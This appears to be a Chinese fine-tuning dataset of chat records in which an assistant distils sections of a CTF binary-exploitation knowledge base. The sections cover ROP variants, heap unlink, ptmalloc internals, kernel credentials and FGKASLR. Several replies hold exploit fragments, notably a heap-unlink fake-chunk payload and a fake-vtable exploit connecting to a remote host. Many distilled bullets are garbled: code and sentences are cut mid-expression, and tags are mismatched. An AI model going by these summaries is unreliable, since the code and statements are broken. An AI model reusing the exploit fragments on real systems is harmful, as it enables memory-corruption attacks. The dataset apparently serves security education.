{"category": "pwn", "chars": 753, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "coding=utf-8", "heading_path": ["coding=utf-8"], "original_id": "docs-af72c1ded2c195d925d4", "original_line": 1027, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "c83a19e54a7e841aa790bdf8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-943c662bb0d6f1b3d24a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso.md` 中的章节「VDSO介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso.md`\n标题：ret2VDSO\n章节：ret2VDSO > VDSO介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“VDSO介绍”展开。\n- 其中sysenter的参数传递方式与int 0x80一致，但是我们可能需要自己布置好 function prolog（32位为例） `asm push ebp mov ebp,esp `` 此外，如果我们没有提供functtion prolog的话，我们还需要一个可以进行栈迁移的gadgets，以便于可以改变栈的位置。\n- 这里路径更好指的是，我们不需要使用传统的int 0x80来进行系统调用，不同的处理器实现了不同的快速系统调用指令 - intel实现了sysenter，sysexit - amd实现了syscall，sysret 当不同的处理器架构实现了不同的指令时，自然就会出现兼容性问题，所以linux实现了vsyscall接口，在底层会根据具体的结构来进行具体操作。\n- 例如: ``shell ➜ ~ ldd /bin/sh linux-vdso.so.1 => (0x00007ffd8ebf2000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f84ff2f9000) /lib64/ld-linux-x86-64.so.2 (0x0000560cae6eb000) ` 除了快速系统调用，glibc也提供了VDSO的支持, open(), read(), write(), gettimeofday()都可以直接使...\n- 什么是VDSO(Virtual Dynamically-linked Shared Object)呢？\n- 通过vdso，我们可以大量减少这样的开销，同时也可以使得我们的路径更好。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:asm\n\n代码/命令片段线索：\n- shell: 4 行，首行 `➜ ~ ldd /bin/sh`\n- asm: 2 行，首行 `push ebp`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1053, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "VDSO介绍", "heading_path": ["ret2VDSO", "VDSO介绍"], "original_id": "docs-ba80b4d7da51655b68a7", "original_line": 1376, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso.md", "source_root": "docs", "source_sha256": "da56a363564db2f5c1b2c7ec26b6f13fd821a480add78c4436e959e726eab50f", "split": "train", "split_group_key": "807cf79058e2ce5c87cdb0dd", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:asm"], "title": "ret2VDSO"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-946ded9e9bc66bfd6d32", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「chunk0: a fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：chunk0: a fake chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“chunk0: a fake chunk”展开。\n- ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = 'a' 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' 64 + p64(0x60) #content = p64(fakefd) + p64(fakebk) newnote(128, content)\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "chunk0: a fake chunk", "heading_path": ["chunk0: a fake chunk"], "original_id": "docs-887d8951f8604c6693c6", "original_line": 1084, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "b14b377a51e54fb55371801a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-949e7975842cad26bcd0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找stop gadgets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找gadgets > 寻找stop gadgets\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找stop gadgets”展开。\n- 所谓stop gadget一般指的是这样一段代码：当程序的执行这段代码时，程序会进入无限循环，这样使得攻击者能够一直保持连接状态。\n- > 其实stop gadget也并不一定得是上面的样子，其根本的目的在于告诉攻击者，所测试的返回地址是一个gadgets。\n- 因此，攻击者就会认为在这个过程中并没有执行到任何的useful gadget，从而放弃它。\n- 这样的话，在攻击者看来程序只是单纯的crash了。\n- 之所以要寻找stop gadgets，是因为当我们猜到某个gadgtes后，如果我们仅仅是将其布置在栈上，由于执行完这个gadget之后，程序还会跳到栈上的下一个地址。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 438, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "寻找stop gadgets", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "寻找gadgets", "寻找stop gadgets"], "original_id": "docs-e4ad7bdd5f8516d7d984", "original_line": 1287, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "f63bb82e171716a37781ddcb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9567268c98f1c7d2073a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「启动阶段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`\n标题：FGKASLR\n章节：FGKASLR > 性能开销 > 启动阶段\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在启动阶段，FGKASLR - 需要解析内核的 ELF 文件来获取需要随机化的节区。\n- 需要检查每一个需要重定位的地址是否位于随机化的节区，如果是的话，需要调整一个新的偏移。\n- 会调用随机数生成器来确定每个节区需要存储的地址，并进行布局。\n- 会将原有解压的内核拷贝到另外一个地方，以便于避免内存破坏。\n- 在一个现代化的系统上，启动一个测试的 VM，大概花费了 1s。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 227, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "启动阶段", "heading_path": ["FGKASLR", "性能开销", "启动阶段"], "original_id": "docs-af198d4ab8ab5a5f1523", "original_line": 687, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "source_root": "docs", "source_sha256": "7a1e8456215c0c527a2cc2e29a0de89ed5de3cf8eafa1490bc317a7ac74ec9d0", "split": "train", "split_group_key": "0318d43db7bd4ff682074217", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "FGKASLR"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-95ead76c990824890af9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「进程权限凭证（credential）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 进程权限管理 > 进程权限凭证（credential）\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“进程权限凭证（credential）”展开。\n- These details are used when the task is acting upon another object, be that a file, a task, a key or whatever.\n- A task has two security pointers. task->real_cred points to the objective context that defines that task's actual details.\n- The objective part of this context is used whenever that task is acted upon. task->cred points to the subjective context that defines the details of how that task is going to act upon another object.\n- `` 一个cred结构体中记载了一个进程四种不同的用户ID，在通常情况下这几个ID应当都是相同的： - 真实用户ID（real UID）：标识一个进程启动时的用户ID - 保存用户ID（saved UID）：标识一个进程最初的有效用户ID - 有效用户ID（effective UID）：标识一个进程正在运行时所属的用户ID，一个进程在运行途中是可以改变自己所属用户的，因而权限机制也是通过有效用户ID进行认证的，内核通过 euid 来进行特权判断；\n- 注意到 task_struct 的源码中有如下代码： ``c / Process credentials: / / Tracer's credentials at attach: / const struct cred __rcu ptracer_cred;\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `/* Process credentials: */`\n- c: 60 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3314, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "进程权限凭证（credential）", "heading_path": ["基础知识", "进程权限管理", "进程权限凭证（credential）"], "original_id": "docs-d91a071e9e6f4069ff5a", "original_line": 644, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "681a143e2a2d21281397bd6a", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:c"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-95f23b27c2d24916d7a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「unsorted bin 遍历」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“unsorted bin 遍历”展开。\n- 先考虑 unsorted bin，再考虑 last remainder ，但是对于 small bin chunk 的请求会有所例外。\n- ``c++ // 如果 unsorted bin 不为空 // First In First Out while ((victim = unsorted_chunks(av)->bk) !\n- = unsorted_chunks(av)) { // victim 为 unsorted bin 的最后一个 chunk // bck 为 unsorted bin 的倒数第二个 chunk bck = victim->bk;\n- // 判断得到的 chunk 是否满足要求，不能过小，也不能过大 // 一般 system_mem 的大小为132K if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) malloc_printerr(check_action, \"malloc(): memory corruption\", chunk...\n- size = chunksize(victim);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 14 行，首行 `// 如果 unsorted bin 不为空`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 653, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "unsorted bin 遍历", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "unsorted bin 遍历"], "original_id": "docs-9baea73ff3adaa3ed428", "original_line": 1147, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "b06c706dcde69d3c63e2d82c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9690ad7c6fc8f8ff8383", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「large chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > large chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“large chunk”展开。\n- if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size);\n- = &main_arena) set_non_main_arena(victim);\n- else { // 获取剩下那部分chunk的指针，称为remainder remainder = chunk_at_offset(victim, nb);\n- in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL;\n- // 设置remainder的上一个chunk，即分配出去的chunk的使用状态 // 其余的不用管，直接从上面继承下来了 set_head(remainder, remainder_size | PREV_INUSE);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 79 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2601, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "large chunk", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "large chunk"], "original_id": "docs-a9b8e1413c6deae6046d", "original_line": 1151, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "a3e6cbf23ebaed293a756535", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-96e9cfed44afacbfedb4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「now, we are on the new stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：now, we are on the new stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“now, we are on the new stack”展开。\n- 因此我们可以简单地调整一下栈，来使得栈是 16 字节对齐的。\n- ``python from pwn import *\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `此时，我们发现程序又崩了，通过 coredump`\n- plain: 1 行，首行 `我们发现，在处理 xmm 相关的指令时崩了`\n- plain: 1 行，首行 `由于 xmm 相关指令要求地址应该是 16 字节对齐的，而此时 rsp 并不是 16 字节对齐的。因此我们可以简单地调整一下栈，来使得栈是 16 字节对齐的。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1285, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "now, we are on the new stack", "heading_path": ["now, we are on the new stack"], "original_id": "docs-aad82c4f1edbf744fca8", "original_line": 1341, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9e337e635ba91f4780a75df6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-971a2853a0c0aa41dfcb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「p = process('the_end')」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：p = process('the_end')\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“p = process('the_end')”展开。\n- rem = 0 if rem ==1: p = remote('150.109.44.250',20002) p.recvuntil('Input your token:') p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')\n- sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]\n- libc_base = long(sleep_ad,16) - libc.symbols['sleep'] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8\n- fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0\n- print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget) print 'exit_addr:',hex(libc_base + libc.symbols['exit'])\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 550, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "p = process('the_end')", "heading_path": ["p = process('the_end')"], "original_id": "docs-8dee4b413c736cb9e334", "original_line": 1204, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "4cd5a9bcf5f7f1001f51cea8", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-97403407e4aeb8151b32", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/ignition.md` 中的章节「Why Interpret？」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/ignition.md`\n标题：Ignition Interpreter\n章节：Ignition Interpreter > Why Interpret？\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Why Interpret？”展开。\n- 事实上， 在 Ignition 出现前，JS 被直接翻译成未优化的机器码 ，必要时再由 TurboFan 等进行优化（在不开启 Ignition 的情况下，V8 仍旧是这么工作的），Ignition Interpreter 的出现改变了 V8 的核心执行逻辑， 那么为什么要使用解释执行？\n- 这主要出于以下考虑： - Ignition 字节码占用的内存空间更小（基准机器码的 25～50%） - Ignition 字节码的翻译更快（反正比翻译成机器码快 ） - Ignition 字节码的复杂度更低，从而能简化编译管线 > 待施工。\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 276, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Why Interpret？", "heading_path": ["Ignition Interpreter", "Why Interpret？"], "original_id": "docs-0f903b399b01e378afed", "original_line": 628, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/ignition.md", "source_root": "docs", "source_sha256": "b3848ae98aebf6ec2af4ed5e612d80cf8f986d72da2f886699a4045c9f59d825", "split": "train", "split_group_key": "f20e9adf2da6aeb9320a23f2", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "Ignition Interpreter"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/ignition.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-974d67a15d9fe021f602", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Partial RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：print(rop.dump()) > Partial RELRO\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Partial RELRO”展开。\n- 首先我们可以编译源文件 main.c 得到二进制文件，这里取消了 Canary 保护。\n- 2. 利用工具来实现攻击，从而获取 shell。\n- 这种方式虽然比较麻烦，但是可以仔细理解 ret2dlresolve 的原理。\n- 这种方式比较简单，但我们还是应该充分理解背后的原理，不能只是会使用工具。\n- 在下面的讲解过程中，本文会按照以下两种不同的方式来使用该技巧。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `❯ gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 640, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Partial RELRO", "heading_path": ["print(rop.dump())", "Partial 